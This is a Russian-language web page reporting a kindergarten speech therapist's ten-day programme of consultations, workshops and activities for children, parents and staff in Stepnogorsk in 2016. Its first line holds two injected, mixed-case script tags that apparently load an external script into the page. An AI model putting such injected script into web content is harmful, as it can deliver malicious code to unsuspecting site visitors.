Текст
<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
09.01.2017
Отчет по мероприятиям в рамках «Декада логопедов»
в ГККП «Детский сад №5 «Колосок» за 2016-2017 учебный
год логопед Галковская Ольга Викторовна
В период с 28.11.2016г.по 08.12.2016г. согласно плана работы ОО г.Степногорска в д/с проходила «Декада логопедов». Отчет по
Декаде представлен в установленный срок на сайте ДО: http://ds0004.stepnogorsk.akmoedu.kz
Цель проводимых мероприятий: повышение интереса детей к занятиям логопеда, а также дальнейшее углубление взаимосвязи работы логопеда и других участников (педагогов, родителей) коррекционного процесса, через демонстрацию приемов и методов коррекции речевого недоразвития, личностных и познавательных способностей детей.
Задачи:
· Формировать практические умения и навыки у детей
пользования исправленной (фонетически чистой, лексически развитой,
грамматически правильной) речью;
· Развивать и совершенствовать все стороны устной
речи каждого ребенка (произношение, словарь, грамматический строй, связная
речь).
· Вызвать у педагогов желание и стремление
совершенствовать свою речь.
· Объединить детей педагогов и родителей
дошкольного учреждения общими впечатлениями, переживаниями, эмоциями.
Удовлетворить потребность детей в общении со взрослыми.
· Повысить заинтересованность родителей в
результатах образовательной и воспитательной работы с детьми.
Целевая группа: Дети, педагоги, родители
Предварительная работа:
Оформление визуальной информации
Подготовка анкет для родителей
Разработка конспектов занятий с
детьми
Подготовка слайдовой презентации
Механизмы реализации:
1. Анкетирование
родителей детей, посещающих логопункт детского сада с целью выявления на начальных этапах занятий с детьми
трудностей , возникших как у детей, так и
у родителей дома при выполнении заданий логопеда.
- Индивидуальные
- занятия для детей с ОНР-111, ФФНР по постановке и автоматизации звуков
- («С», «Р»).
- Фронтальные
- занятия для детей с ОНР-111 и ФФНР («Посуда», «Зима»)
- Логопедическое
- развлечение «Магазин игрушек» для детей с ОНР-111 и ФФНР
- «Сказка
- о веселом язычке» с использованием дидактических логоигрушек для детей
- среднего возраста
- Визуальная
- информация для родителей групп предшколы («Логопедические игры на кухне»,
- «Фонематический слух – основа правильной речи»), для родителей средних
- групп («Веселый зоопарк. Проведение артикуляционной гимнастики для малышей»)
- Родительские
- пятиминутки (Индивидуальные консультации)
- Беседа
- с воспитателями предшкольных групп «Как правильно относиться к речевым
- ошибкам детей»
- Практикум
- для педагогов детского сада «Приемы педагогической работы по воспитанию
- правильного произношения у детей»
- Консультация
- для музыкальных руководителей «Музыкальное воспитание детей с нарушениями
- речи»
- Памятка
- для воспитателей «Наблюдение за детьми в период адаптации»
- Консультация
- для инструкторов по физической культуре «Физическое воспитание детей с
- нарушениями речи»
- Презентация
- – практикум для родителей и
- педагогов «Умные пальчики. Обучение упражнениям кинезиологической
- гимнастики»
- «День
- открытых дверей» (посещение родителями индивидуальных логопедических
- занятий)
- Фотоотчет
- о проведенных мероприятиях в рамках «Декады логопедов»
Каждый день «Декады
логопедов» в детском саду №5 «Колосок»
был ярким и запоминающимся.
28 ноября. Подведены итоги анкетирования родителей детей,
посещающих логопункт детского сада. Обработано 19 анкет. Выявлено, что
большинство родителей нуждается в формировании коррекционно-логопедической
компетенции. Для этого им был предложен список мероприятий (объявление в
приемной группы), повышающих заинтересованность родителей в коррекционно-воспитательном процессе. А
также время и место проведения.
Для воспитателей старших групп в
беседе были даны рекомендации «Как правильно относиться к речевым ошибкам
детей».
29 ноября. На родительских пятиминутках в кабинете логопеда все желающие
родители могли получить консультации : «Как правильно выполнять артикуляционную
гимнастику в домашних условиях», «Почему так необходимо контролировать речь
малыша на этапе автоматизации звука», «Как правильно выполнять домашнее задание
в тетради» и др.
Для педагогов детского сада состоялся
практикум, на котором они познакомились с приемами работы по воспитанию у детей
правильного произношения.
30 ноября. В приемной группы родители могли ознакомиться с
визуальной информацией, из которой они узнали, чем можно заниматься с ребенком
на кухне.
Для музыкальных руководителей –
информация о приемах музыкального
воспитания детей с речевыми нарушениями.
2 декабря. Презентация – практикум для родителей «Умные пальчики».
Цель проведения – познакомить с элементами кинезиологической гимнастики,
рассказать о важности проведения пальчиковой гимнастики для детей с проблемами
речевого развития. На мероприятии присутствовало 8 человек, все показали
заинтересованность и приняли активное участие
Для воспитателей была
предоставлена памятка о правилах наблюдения за детьми в период адаптации.
Детям средней группы №2 была
показана сказка с использованием дидактических логоигрушек. Ребята с
удовольствием учились выполнять упражнения артикуляционной гимнастики.
5 декабря. Для родителей – День открытых дверей. В этот день
родители посещали индивидуальные занятия, на которых вместе с детьми учились
правильно произносить звуки, занимались пальчиковой и артикуляционной
гимнастикой. Всего посетило занятия 18 человек.
Для детей с ОНР-111 и ФФНР
проводилось развлечение «Магазин игрушек» на автоматизацию свистящих звуков в
словах и предложениях.
Инструкторам по физкультуре были
даны рекомендации по работе с детьми, имеющими речевые нарушения.
6 декабря. Для родителей визуальная информация в приемной группы о
том, как важно развивать фонематический слух. В какие игры можно играть по
дороге из дома в детский сад, по дороге в гости.
Для педагогов презентация-практикум
«Умные пальчики». Все 20 человек приняли активное участие в мероприятии.
7 декабря Вновь логопед приглашал родителей на индивидуальные
консультации.
Для родителей средних групп –
визуальная информация по проведению артикуляционной гимнастики с малышами.
В течении всей «Декады» ежедневно
проводились индивидуальные и фронтальные занятия по постановке и автоматизации
звуков с детьми, имеющими ОНР-111 и ФФНР.
8 декабря Подведение итогов.
Поставленная цель «Повышение интереса детей к занятиям
логопеда, а также дальнейшее углубление взаимосвязи работы логопеда и других участников
(педагогов, родителей) коррекционного процесса, через демонстрацию приемов
и методов коррекции речевого
недоразвития, личностных и познавательных способностей детей» была
достигнута. Задачи выполнены. Работу по проведению «Декады логопедов» считаю
удовлетворительной.
Фотоотчет прилагается
(приложение 1, 2, 3)
Просмотров: 588